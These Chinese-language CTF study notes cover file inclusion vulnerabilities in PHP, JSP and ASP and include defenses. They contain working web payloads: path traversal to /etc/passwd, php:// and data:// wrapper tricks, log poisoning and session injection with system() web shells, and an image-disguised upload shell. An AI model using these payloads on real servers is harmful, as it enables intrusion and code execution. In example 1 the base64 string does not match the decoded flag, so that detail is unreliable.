CTF文件包含漏洞学习笔记
一、知识点梳理
1.1 定义
核心概念
文件包含漏洞是Web应用程序中常见的安全漏洞之一,当服务器端脚本(如PHP、JSP、ASP)使用用户可控的参数动态包含文件时,未对输入进行严格验证,导致攻击者可以控制包含的文件路径,从而读取敏感文件、执行恶意代码或进行其他攻击。
1.2 分类
| 类型 | 定义 | 典型条件 |
|---|---|---|
| 本地文件包含(LFI) | 攻击者只能包含服务器本地存在的文件 | 基础包含函数+参数可控 |
| 远程文件包含(RFI) | 攻击者可以包含远程服务器上的文件 | LFI条件+allow_url_include=On[1] |
注
LFI是CTF中更常见的场景,而RFI由于配置限制较多,实际环境中相对少见。
1.3 形成原理
服务器端脚本通过动态包含函数(如PHP的include()、require())加载文件时,若文件路径参数未经过滤或验证,直接拼接用户输入,导致攻击者可构造恶意路径。例如:
<?php
$file = $_GET['file'];
include($file); // ❌ 危险做法:未过滤用户输入$file
?>1.4 常见触发点
PHP触发函数
include():包含文件,出错时产生警告require():包含文件,出错时终止脚本include_once()/require_once():确保文件只被包含一次
JSP触发方式
- 静态包含:
<%@ include file="path" %>(编译期包含) - 动态包含:
<c:import url="path"/>(运行期包含)
ASP触发方式
<!--#include file="path" -->(SSI指令包含)
1.5 利用条件
LFI利用条件
RFI额外条件
1.6 防御措施
防御清单
- 输入验证:严格过滤用户输入,仅允许指定的安全字符或路径
- 白名单机制:仅允许包含预定义的合法文件,拒绝动态拼接路径
- 禁用危险配置:如PHP中设置
allow_url_include=Off,限制open_basedir - 避免动态包含:尽量使用静态包含,减少用户可控参数的使用
- 文件路径规范化:使用
realpath()[2]等函数验证路径合法性
二、解题方法总结
2.1 基础路径遍历
- 原理:通过
../(向上一级目录)构造路径,读取服务器本地文件 - Payload示例:
?file=../../etc/passwd - 适用场景:LFI漏洞,服务器未过滤
../或对路径长度无限制
绕过技巧
- 双写绕过:
....//(部分WAF会将../替换为空) - 编码绕过:
%2e%2e%2f(URL编码)或..%2f - 绝对路径:直接使用
/etc/passwd而非相对路径
2.2 伪协议利用
2.2.1 php://filter
功能与用法
- 功能:读取文件源码并base64编码输出,避免直接执行
- 适用场景:需要读取PHP文件源码时,避免代码执行导致的错误
- Payload格式:
php://filter/[转换链]/resource=[目标文件]
常用转换链组合:
| 转换链 | 作用 |
|---|---|
convert.base64-encode | Base64编码输出,最常用 |
string.toupper | 转换为大写字母 |
convert.iconv.UCS-2LE.UCS-2BE | 字符编码转换 |
示例:?file=php://filter/convert.base64-encode/resource=index.php
2.2.2 php://input
- 功能:执行POST请求中的内容作为PHP代码
- Payload示例:
?file=php://input,POST数据为<?php phpinfo();?> - 适用场景:PHP配置
allow_url_include=On,且允许POST数据传入
2.2.3 其他伪协议
伪协议速查表
file://:读取本地文件,如file:///etc/passwddata://:直接传入数据,如data://text/plain,<?php phpinfo();?>(需allow_url_include=On)zip://:读取压缩包内文件,如zip://shell.zip%23shell.php(需将PHP文件压缩为zip)
2.3 日志注入
完整攻击流程(点击展开)
注入PHP代码到日志
使用Burp Suite修改请求头:GET /vuln.php?file=home HTTP/1.1 Host: example.com User-Agent: <?php system($_GET['cmd']);?>包含日志文件执行代码
?file=/var/log/apache2/access.log&cmd=whoami获取敏感信息
?cmd=cat /flag.txt
重要
常见日志路径:
- Apache:
/var/log/apache2/access.log(Linux)、C:\xampp\apache\logs\access.log(Windows) - Nginx:
/var/log/nginx/access.log - IIS:
C:\Windows\System32\LogFiles\W3SVC1\
2.4 Session文件包含
- 原理:PHP的Session文件默认存储在
/tmp/sess_<sessionid>,若Session内容可控,可注入代码后包含 - 步骤:
- 获取Session ID(如Cookie中的
PHPSESSID=abc123) - 向Session中注入代码:
?username=<?php phpinfo();?> - 包含Session文件:
?file=/tmp/sess_abc123
- 获取Session ID(如Cookie中的
2.5 配合文件上传的包含攻击
攻击步骤
- 上传文件
shell.jpg,内容为<?php system($_GET['cmd']);?> - 包含上传的文件:
?file=uploads/shell.jpg&cmd=whoami
注
若服务器检查文件头,可在PHP代码前添加GIF文件头:GIF89a<?php ... ?>
三、题目示例分析
示例1:基础LFI配合伪协议读取源码
题目描述
某CTF题目提供如下PHP代码:
<?php
$file = $_GET['file'];
if(isset($file)){
include($file.'.php'); // 自动添加.php后缀
}
?>要求读取当前目录下flag.php的内容。
漏洞分析
- 参数
file可控,且自动拼接.php后缀 - 直接传入
flag会包含flag.php,但该文件可能直接输出flag或仅在特定条件下显示 - 需读取
flag.php的源码,因此使用php://filter伪协议绕过后缀拼接
关键Payload
?file=php://filter/convert.base64-encode/resource=flag解题步骤
- 构造Payload:
?file=php://filter/convert.base64-encode/resource=flag- 原理:
php://filter会读取flag.php(因自动添加.php),并base64编码输出
- 原理:
- 访问该URL,得到base64编码后的源码:
PD9waHAgZmxhZyA9ICJjdGZ7Tk9UX1RPT0xUX0ZMQVdfMl8zXzR9Ijs/Pg== - 解码base64:
<?php flag = "ctf{NOT_TOOLTIP_FLAG_2_3_4}";?>,获取flag
示例2:日志注入获取shell
题目描述
某CTF题目存在LFI漏洞,参数为?file=home,服务器使用Apache,日志路径未知,要求获取服务器权限。
关键Payload
- 修改User-Agent头注入代码
- 包含日志:
?file=/var/log/apache2/access.log&cmd=cat flag.txt
示例3:Session文件包含
题目描述
某CTF题目存在如下代码:
<?php
session_start();
$_SESSION['username'] = $_GET['username'];
$file = $_GET['file'];
include($file);
?>要求利用文件包含漏洞执行代码。
关键Payload
?username=<?php system('cat /flag');?>&file=/tmp/sess_abc123
四、总结与拓展
学习建议
- 掌握伪协议利用的多种组合方式
- 熟悉不同服务器日志路径(Linux/Windows)
- 练习Session包含与文件上传结合的综合利用场景
- 了解PHP版本差异对伪协议支持的影响(如PHP 7.4+对
php://input的限制)